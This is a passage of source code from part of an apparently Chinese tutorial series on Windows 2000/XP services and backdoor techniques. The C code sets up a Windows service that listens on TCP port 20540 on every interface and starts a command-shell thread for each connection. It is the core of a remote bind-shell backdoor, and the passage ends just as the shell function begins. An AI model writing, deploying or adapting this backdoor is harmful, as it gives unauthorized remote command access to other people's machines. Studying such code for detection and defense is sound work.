|
浅析Windows 2000/XP服务与后门技术(6) else { lpProcessDataHead=NULL; } }
ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n"); }
ReleaseMutex(hMutex); CloseHandle(hMutex); return ;
case SERVICE_CONTROL_INTERROGATE: break;
default: break; }
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); }
return ; }
DWORD WINAPI CmdService(LPVOID lpParam) { WSADATA wsa; SOCKET sServer; SOCKET sClient; HANDLE hThread; struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa); sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sServer==INVALID_SOCKET) { OutputDebugString("Socket Error !\n"); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(20540); sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) { OutputDebugString("Bind Error !\n"); return -1; } if(listen(sServer,5)==SOCKET_ERROR) { OutputDebugString("Listen Error !\n"); return -1; }
hMutex=CreateMutex(NULL,FALSE,NULL); if(hMutex==NULL) { OutputDebugString("Create Mutex Error !\n"); } lpProcessDataHead=NULL; lpProcessDataEnd=NULL;
while(1) { sClient=accept(sServer,NULL,NULL); hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); if(hThread==NULL) { OutputDebugString("CreateThread of CmdShell Error !\n"); break; } Sleep(1000); }
WSACleanup(); return 0; }
DWORD WINAPI CmdShell(LPVOID lpParam) { SOCKET sClient=*(SOCKET *)lpParam;
|